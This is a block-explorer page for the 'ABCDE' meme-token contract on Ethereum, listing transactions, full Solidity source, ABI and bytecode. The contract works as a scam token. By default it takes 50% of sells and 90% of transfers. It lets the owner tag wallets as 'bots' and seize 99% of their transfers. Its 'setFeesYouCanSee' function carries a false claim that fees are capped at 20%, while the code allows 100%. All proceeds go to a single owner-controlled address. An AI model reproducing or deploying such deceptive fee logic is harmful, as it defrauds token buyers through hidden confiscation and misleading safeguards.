More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 108 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17740313 | 548 days ago | IN | 0 ETH | 0.00119769 | ||||
Approve | 17581240 | 570 days ago | IN | 0 ETH | 0.00048864 | ||||
Approve | 17578037 | 571 days ago | IN | 0 ETH | 0.00084462 | ||||
Approve | 17573965 | 571 days ago | IN | 0 ETH | 0.00054561 | ||||
Approve | 17571985 | 572 days ago | IN | 0 ETH | 0.00134204 | ||||
Approve | 17571871 | 572 days ago | IN | 0 ETH | 0.00172554 | ||||
Approve | 17571641 | 572 days ago | IN | 0 ETH | 0.00225405 | ||||
Approve | 17571571 | 572 days ago | IN | 0 ETH | 0.00110064 | ||||
Approve | 17571517 | 572 days ago | IN | 0 ETH | 0.00105681 | ||||
Approve | 17571492 | 572 days ago | IN | 0 ETH | 0.00147033 | ||||
Approve | 17571428 | 572 days ago | IN | 0 ETH | 0.00137813 | ||||
Approve | 17571334 | 572 days ago | IN | 0 ETH | 0.00094678 | ||||
Approve | 17571306 | 572 days ago | IN | 0 ETH | 0.00100034 | ||||
Approve | 17571291 | 572 days ago | IN | 0 ETH | 0.00097318 | ||||
Approve | 17571290 | 572 days ago | IN | 0 ETH | 0.00104846 | ||||
Approve | 17571240 | 572 days ago | IN | 0 ETH | 0.001106 | ||||
Approve | 17571226 | 572 days ago | IN | 0 ETH | 0.00105929 | ||||
Approve | 17571226 | 572 days ago | IN | 0 ETH | 0.00134823 | ||||
Approve | 17571220 | 572 days ago | IN | 0 ETH | 0.00105627 | ||||
Approve | 17571209 | 572 days ago | IN | 0 ETH | 0.0011729 | ||||
Approve | 17571166 | 572 days ago | IN | 0 ETH | 0.00110001 | ||||
Approve | 17571157 | 572 days ago | IN | 0 ETH | 0.00107577 | ||||
Approve | 17571132 | 572 days ago | IN | 0 ETH | 0.00079892 | ||||
Approve | 17571131 | 572 days ago | IN | 0 ETH | 0.00079963 | ||||
Approve | 17571129 | 572 days ago | IN | 0 ETH | 0.0008237 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
17570979 | 572 days ago | 0.05560837 ETH | ||||
17570979 | 572 days ago | 0.05560837 ETH | ||||
17570978 | 572 days ago | 0.05908906 ETH | ||||
17570978 | 572 days ago | 0.05908906 ETH | ||||
17570973 | 572 days ago | 0.06323708 ETH | ||||
17570973 | 572 days ago | 0.06323708 ETH | ||||
17570966 | 572 days ago | 0.06779366 ETH | ||||
17570966 | 572 days ago | 0.06779366 ETH | ||||
17570952 | 572 days ago | 0.06160847 ETH | ||||
17570952 | 572 days ago | 0.06160847 ETH | ||||
17570952 | 572 days ago | 0.07005733 ETH | ||||
17570952 | 572 days ago | 0.07005733 ETH | ||||
17570951 | 572 days ago | 0.0805795 ETH | ||||
17570951 | 572 days ago | 0.0805795 ETH | ||||
17570950 | 572 days ago | 0.08695877 ETH | ||||
17570950 | 572 days ago | 0.08695877 ETH | ||||
17570947 | 572 days ago | 0.09514984 ETH | ||||
17570947 | 572 days ago | 0.09514984 ETH | ||||
17570941 | 572 days ago | 0.10091623 ETH | ||||
17570941 | 572 days ago | 0.10091623 ETH | ||||
17570928 | 572 days ago | 0.08574864 ETH | ||||
17570928 | 572 days ago | 0.08574864 ETH | ||||
17570924 | 572 days ago | 0.08952286 ETH | ||||
17570924 | 572 days ago | 0.08952286 ETH | ||||
17570923 | 572 days ago | 0.09577843 ETH |
Loading...
Loading
Contract Name:
ABCDE
Compiler Version
v0.8.17+commit.8df45f5f
Optimization Enabled:
Yes with 800 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** "ABCDE - $ABCDE" In the magical land of crypto, there emerged a project called $ABCDE. With a mischievous wink and a sprinkle of childhood, $ABCDE brought memes to life, uniting crypto enthusiasts with laughter and joy. Together, degens' inner child laughed their way to the moon, one alphabet meme at a time. SOCIALS: Telegram: https://t.me/abcde_eth Twitter: https://twitter.com/ABCDEerc20 Website: https://abcde-erc20.com */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.16; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;} function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;} function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;} function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;} function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;} function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}} function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b > a) return(false, 0); return(true, a - b);}} function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if (a == 0) return(true, 0); uint256 c = a * b; if(c / a != b) return(false, 0); return(true, c);}} function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b == 0) return(false, 0); return(true, a / b);}} function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b == 0) return(false, 0); return(true, a % b);}} function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b <= a, errorMessage); return a - b;}} function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b > 0, errorMessage); return a / b;}} function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b > 0, errorMessage); return a % b;}}} interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} abstract contract Ownable { address internal owner; constructor(address _owner) {owner = _owner;} modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;} function isOwner(address account) public view returns (bool) {return account == owner;} function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);} event OwnershipTransferred(address owner); } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract ABCDE is IERC20, Ownable { using SafeMath for uint256; string private constant _name = 'ABCDE'; string private constant _symbol = 'ABCDE'; uint8 private constant _decimals = 9; uint256 private _totalSupply = 2600000 * (10 ** _decimals); uint256 private _maxTxAmountPercent = 200; // 10000; uint256 private _maxTransferPercent = 200; uint256 private _maxWalletPercent = 300; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isFeeExempt; mapping (address => bool) private isBot; IRouter router; address public pair; bool private tradingAllowed = false; uint256 private liquidityFee = 0; uint256 private marketingFee = 0; uint256 private developmentFee = 1000; uint256 private burnFee = 0; uint256 private totalFee = 2200; uint256 private sellFee = 5000; uint256 private transferFee = 9000; uint256 private denominator = 10000; bool private swapEnabled = true; uint256 private swapTimes; bool private swapping; uint256 swapAmount = 4; uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000; uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000; modifier lockTheSwap {swapping = true; _; swapping = false;} address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address internal constant development_receiver = 0x1A93f50192571130A4812dD5e474188E27273b9E; address internal constant marketing_receiver = 0x1A93f50192571130A4812dD5e474188E27273b9E; address internal constant liquidity_receiver = 0x1A93f50192571130A4812dD5e474188E27273b9E; constructor() Ownable(msg.sender) { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; isFeeExempt[address(this)] = true; isFeeExempt[liquidity_receiver] = true; isFeeExempt[marketing_receiver] = true; isFeeExempt[msg.sender] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) {return _name;} function symbol() public pure returns (string memory) {return _symbol;} function decimals() public pure returns (uint8) {return _decimals;} function startTrading() external onlyOwner {tradingAllowed = true;} function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; } function setisBot(address _address, bool _enabled) external onlyOwner {isBot[_address] = _enabled;} function massManageBot(address[] calldata accounts, bool _enabled) external onlyOwner {for (uint256 i = 0; i < accounts.length; i++) {isBot[accounts[i]] = _enabled;}} function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;} function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;} function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));} function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;} function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;} function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;} function preTxCheck(address sender, address recipient, uint256 amount) internal view { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > uint256(0), "Transfer amount must be greater than zero"); require(amount <= balanceOf(sender),"You are trying to transfer more than your balance"); } function _transfer(address sender, address recipient, uint256 amount) private { preTxCheck(sender, recipient, amount); checkTradingAllowed(sender, recipient); checkMaxWallet(sender, recipient, amount); swapbackCounters(sender, recipient); checkTxLimit(sender, recipient, amount); swapBack(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function setFeesYouCanSee(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner { liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans; require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1), "totalFee and sellFee cannot be more than 20%"); } function setLimitsYouCanSee(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner { uint256 newTx = (totalSupply() * _buy) / 10000; uint256 newTransfer = (totalSupply() * _trans) / 10000; uint256 newWallet = (totalSupply() * _wallet) / 10000; _maxTxAmountPercent = _buy; _maxTransferPercent = _trans; _maxWalletPercent = _wallet; uint256 limit = totalSupply().mul(5).div(1000); require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%"); } function checkTradingAllowed(address sender, address recipient) internal view { if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");} } function checkMaxWallet(address sender, address recipient, uint256 amount) internal view { if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){ require((_balances[recipient].add(amount)) <= _maxWalletToken(), "Exceeds maximum wallet amount.");} } function swapbackCounters(address sender, address recipient) internal { if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);} } function checkTxLimit(address sender, address recipient, uint256 amount) internal view { if(sender != pair){require(amount <= _maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");} require(amount <= _maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); } function swapAndLiquify(uint256 tokens) private lockTheSwap { uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee); if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);} uint256 remainingBalance = address(this).balance; if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);} } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, liquidity_receiver, block.timestamp); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); } function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) { bool aboveMin = amount >= minTokenAmount; bool aboveThreshold = balanceOf(address(this)) >= swapThreshold; return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold; } function setSwapbackSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner { swapAmount = _swapAmount; swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000)); minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000)); } function swapBack(address sender, address recipient, uint256 amount) internal { if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);} } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient]; } function getTotalFee(address sender, address recipient) internal view returns (uint256) { if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));} if(recipient == pair){return sellFee;} if(sender == pair){return totalFee;} return transferFee; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { if(getTotalFee(sender, recipient) > 0){ uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient)); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));} return amount.sub(feeAmount);} return amount; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
{ "metadata": { "bytecodeHash": "none", "useLiteralContent": true }, "optimizer": { "enabled": true, "runs": 800 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"massManageBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setFeesYouCanSee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setLimitsYouCanSee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapAmount","type":"uint256"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_minTokenAmount","type":"uint256"}],"name":"setSwapbackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a62000436565b62000021906227ac406200044e565b600181815560c8600281905560035561012c6004908155600a805460ff60a01b191690556000600b819055600c8190556103e8600d819055600e91909155610898600f556113886010556123286011556127106012556013805460ff1916909317909255601655620186a09162000098916200044e565b620000a4919062000468565b601755620186a0600154600a620000bc91906200044e565b620000c8919062000468565b601855348015620000d857600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa15801562000140573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016691906200048b565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001b4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001da91906200048b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000228573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024e91906200048b565b600980546001600160a01b038581166001600160a01b031992831617909255600a805492841692909116919091179055306000908152600760209081526040808320805460ff1990811660019081179092557fd94b66be3ad66d41b17a4fe76f18ca113e4cd0cb09952ca7e361df75beea49ac8054821683179055338086528386208054909216831790915590546005845282852081905591519182529394507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620004b6565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003785781600019048211156200035c576200035c62000321565b808516156200036a57918102915b93841c93908002906200033c565b509250929050565b600082620003915750600162000430565b81620003a05750600062000430565b8160018114620003b95760028114620003c457620003e4565b600191505062000430565b60ff841115620003d857620003d862000321565b50506001821b62000430565b5060208310610133831016604e8410600b841016171562000409575081810a62000430565b62000415838362000337565b80600019048211156200042c576200042c62000321565b0290505b92915050565b60006200044760ff84168362000380565b9392505050565b808202811582820484141762000430576200043062000321565b6000826200048657634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200049e57600080fd5b81516001600160a01b03811681146200044757600080fd5b611e2180620004c66000396000f3fe60806040526004361061018f5760003560e01c806370a08231116100d6578063a8aa1b311161007f578063dd62ed3e11610059578063dd62ed3e1461047c578063e94dd17c146104c2578063f2fde38b146104e257600080fd5b8063a8aa1b311461041c578063a9059cbb1461043c578063da2deb961461045c57600080fd5b8063893d20e8116100b0578063893d20e8146103ca5780638c41180e146103fc57806395d89b411461019b57600080fd5b806370a082311461036a57806378109e54146103a05780637d1db4a5146103b557600080fd5b80632f54bf6e116101385780634074da5c116101125780634074da5c1461030a57806348ff2b8b1461032a578063576b60901461034a57600080fd5b80632f54bf6e1461028f578063313ce567146102be5780633f4218e0146102da57600080fd5b80631f976b7e116101695780631f976b7e1461024357806323b872dd14610258578063293230b81461027857600080fd5b806306fdde031461019b578063095ea7b3146101f057806318160ddd1461022057600080fd5b3661019657005b600080fd5b3480156101a757600080fd5b50604080518082018252600581527f4142434445000000000000000000000000000000000000000000000000000000602082015290516101e79190611a1d565b60405180910390f35b3480156101fc57600080fd5b5061021061020b366004611a83565b610502565b60405190151581526020016101e7565b34801561022c57600080fd5b50610235610519565b6040519081526020016101e7565b34801561024f57600080fd5b5061023561058a565b34801561026457600080fd5b50610210610273366004611aaf565b6105ae565b34801561028457600080fd5b5061028d610618565b005b34801561029b57600080fd5b506102106102aa366004611af0565b6000546001600160a01b0391821691161490565b3480156102ca57600080fd5b50604051600981526020016101e7565b3480156102e657600080fd5b506102106102f5366004611af0565b60076020526000908152604090205460ff1681565b34801561031657600080fd5b5061028d610325366004611b0d565b610690565b34801561033657600080fd5b5061028d610345366004611b6e565b61079f565b34801561035657600080fd5b5061028d610365366004611ba3565b61080d565b34801561037657600080fd5b50610235610385366004611af0565b6001600160a01b031660009081526005602052604090205490565b3480156103ac57600080fd5b5061023561097c565b3480156103c157600080fd5b5061023561098c565b3480156103d657600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101e7565b34801561040857600080fd5b5061028d610417366004611b6e565b61099c565b34801561042857600080fd5b50600a546103e4906001600160a01b031681565b34801561044857600080fd5b50610210610457366004611a83565b610a0a565b34801561046857600080fd5b5061028d610477366004611bcf565b610a17565b34801561048857600080fd5b50610235610497366004611c53565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156104ce57600080fd5b5061028d6104dd366004611ba3565b610ad1565b3480156104ee57600080fd5b5061028d6104fd366004611af0565b610b50565b600061050f338484610bff565b5060015b92915050565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead60009081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54600154919261058592909161057f9190610d23565b90610d23565b905090565b600060125460035461059a610519565b6105a49190611ca2565b6105859190611cb9565b60006105bb848484610d2f565b61060d843361060885604051806060016040528060288152602001611ded602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610e55565b610bff565b5060015b9392505050565b6000546001600160a01b031633146106605760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064015b60405180910390fd5b600a80547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055565b6000546001600160a01b031633146106d35760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610657565b600b879055600c869055600e859055600d849055600f83905560108290556011819055601254610704906001610e81565b600f5411158015610724575060125461071e906001610e81565b60105411155b6107965760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201527f6f7265207468616e2032302500000000000000000000000000000000000000006064820152608401610657565b50505050505050565b6000546001600160a01b031633146107e25760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610657565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108505760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610657565b60006127108461085e610519565b6108689190611ca2565b6108729190611cb9565b9050600061271084610882610519565b61088c9190611ca2565b6108969190611cb9565b90506000612710846108a6610519565b6108b09190611ca2565b6108ba9190611cb9565b600287905560038690556004859055905060006108ec6103e86108e660056108e0610519565b90610e8d565b90610e81565b90508084101580156108fe5750808310155b801561090a5750808210155b6107965760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201527f206c657373207468616e202e35250000000000000000000000000000000000006064820152608401610657565b600060125460045461059a610519565b600060125460025461059a610519565b6000546001600160a01b031633146109df5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610657565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b600061050f338484610d2f565b6000546001600160a01b03163314610a5a5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610657565b60005b82811015610acb578160086000868685818110610a7c57610a7c611cdb565b9050602002016020810190610a919190611af0565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610ac381611cf1565b915050610a5d565b50505050565b6000546001600160a01b03163314610b145760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610657565b6016839055600154610b2f90620186a0906108e69085610e8d565b601755600154610b4890620186a0906108e69084610e8d565b601855505050565b6000546001600160a01b03163314610b935760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610657565b600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610c615760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610657565b6001600160a01b038216610cc25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610657565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106118284611d0a565b610d3a838383610e99565b610d448383611080565b610d4f838383611124565b610d598383611215565b610d6483838361126c565b610d6f8383836113bb565b6001600160a01b038316600090815260056020526040902054610d929082610d23565b6001600160a01b038416600090815260056020526040812091909155610db884846113e0565b610dc25781610dcd565b610dcd848484611426565b6001600160a01b038416600090815260056020526040902054909150610df39082611514565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061